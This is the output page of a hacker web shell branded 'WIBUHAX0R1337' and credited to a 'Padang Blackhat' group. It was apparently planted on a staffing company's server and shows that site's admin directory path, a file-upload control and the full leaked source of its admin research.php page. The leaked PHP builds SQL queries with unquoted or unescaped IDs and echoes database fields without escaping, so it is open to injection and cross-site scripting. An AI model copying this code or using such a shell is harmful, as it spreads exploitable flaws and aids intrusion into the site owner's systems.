-
✘✘✘ WIBUHAX0R1337 ✘✘✘
-
✘
PATCH :
/
home
/
indianstaffing
/
public_html
/
admin
/
Upload File:
files >> /home/indianstaffing/public_html/admin/research.php
<?php include'include/header.php'; include'include/sidebar.php'; $date = date('D-M-Y'); if(isset($_GET['type']) && $_GET['type'] !=""){ $type = mysqli_real_escape_string($con, $_GET['type']); if($type=='status'){ $operation = mysqli_real_escape_string($con, $_GET['operation']); $id = mysqli_real_escape_string($con, $_GET['id']); if($operation =='activate'){ $status = '1'; }else{ $status = '0'; } mysqli_query($con, "UPDATE `research_doc` SET status='$status' WHERE id = $id"); } if($type == 'delete'){ $id = mysqli_real_escape_string($con, $_GET['id']); $delete = "DELETE FROM `research_doc` WHERE id= '$id'"; $update_run = mysqli_query($con, $delete); } } ?> <style type="text/css"> #publication{ display: none; } .num{ background-color: blue; padding: 0 2px; border-radius: 5px; } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1 class="m-0">Research</h1> </div><!-- /.col --> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="<?= $weburl; ?>/index">Home</a></li> <li class="breadcrumb-item active">Research</li> </ol> </div><!-- /.col --> </div><!-- /.row --> </div><!-- /.container-fluid --> </div> <!-- /.content-header --> <!-- Main content --> <section class="content"> <div class="container-fluid"> <!-- /.row --> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <!-- Button trigger modal --> <a type="button" class="btn btn-primary" href="add-research.php"> Add Research </a> <button type="button" class="btn btn-success" id="publication">Add Publication <span class="num"></span></button> <input type="hidden" name="" id="counting" value=""> </div> <!-- ./card-header --> <div class="card-body"> <table class="table table-bordered table-hover table-responsive" id=""> <thead> <tr> <th>S.No</th> <th>Category</th> <th>Image</th> <th>Heading</th> <th>Date</th> <th>Status</th> </tr> </thead> <tbody id="checkbox_list"> <?php $i=1; $selectsql = mysqli_query($con, "SELECT * FROM `research_doc` ORDER by publication DESC, added_on DESC, category ASC"); if (mysqli_num_rows($selectsql)>0 ) { while($rows=mysqli_fetch_assoc($selectsql)){ $cat_id = $rows['category']; $sql = mysqli_query($con, "SELECT name FROM `research_cat` where id=$cat_id"); $category=mysqli_fetch_object($sql); if($rows['publication']==1){ $checked = 'checked'; }else{ $checked = ''; } ?> <tr> <td style="width:8%;"><input class="checkbox" type="checkbox" style="margin-right: 10px;" value="<?= $rows['id']; ?>" <?=$checked?>><?= $i; ?></td> <td ><?= $category->name; ?></td> <td style="width:150px;"><img src="../isf-images/research(new)-img/<?=$rows['image']; ?>" style="width:100px;"></td> <td><?= $rows['heading']; ?></td> <td><?=date('d F Y',strtotime($rows['added_on'])); ?></td> <td style="width: 8%;"> <?php if ($rows['status']==1) { echo '<a href="?type=status&operation=deactivate&id='.$rows['id'].'" class="text-success"><i class="fa fa-eye"></i></a> '; }else { echo '<a href="?type=status&operation=activate&id='.$rows['id'].'" class="text-danger"><i class="fa fa-eye-slash"></i></a> '; } ?> <a href="add-research.php?type=edit&id=<?=$rows['id']?>" class="text-success"><i class="fa fa-pen"></i></a> <a href="javascript:void(0)" onclick="DeleteData('research_doc',<?=$rows['id']?>)" class="text-danger"><i class="fa fa-trash"></i></a> </td> </tr> <?php $i++; } } ?> </tbody> </table> </div> <!-- /.card-body --> </div> <!-- /.card --> </div><!-- /.container-fluid --> </section> <!-- /.content --> </div> <?php include'include/footer.php'; ?> <script type="text/javascript"> $(function(){ $(".checkbox").click(function(){ var check = $('#checkbox_list').find('input[type=checkbox]:checked').length; console.log(check); if(check>=1){ $('.num').html(check); $('#publication').show(); }else{ $('#publication').hide(); } // if(check==6){ // console.log("You can't select more that 6"); // alert("You can't select more that 6"); // } // if(check>6 || check<6){ // $('#publication').attr('disabled',true); // }else{ // $('#publication').removeAttr('disabled'); // } }); $('#publication').click(function(){ var ids = []; console.log('get ids'); $('.checkbox').each(function(){ if($(this).is(':checked')){ ids.push($(this).val()); } }) $.ajax({ url: "update_research.php", method: "post", data: { id: ids }, dataType: 'json', success: function (response) { console.log(response.msg); if(response.msg==1){ alert('Publication updated successfully'); window.location.href='research.php'; }else{ alert('something went wrong please try again'); window.location.href='research.php'; } } }) }) }); </script>
2022 - 2023 Copyright By Lutfifakee || Padang Blackhat ♥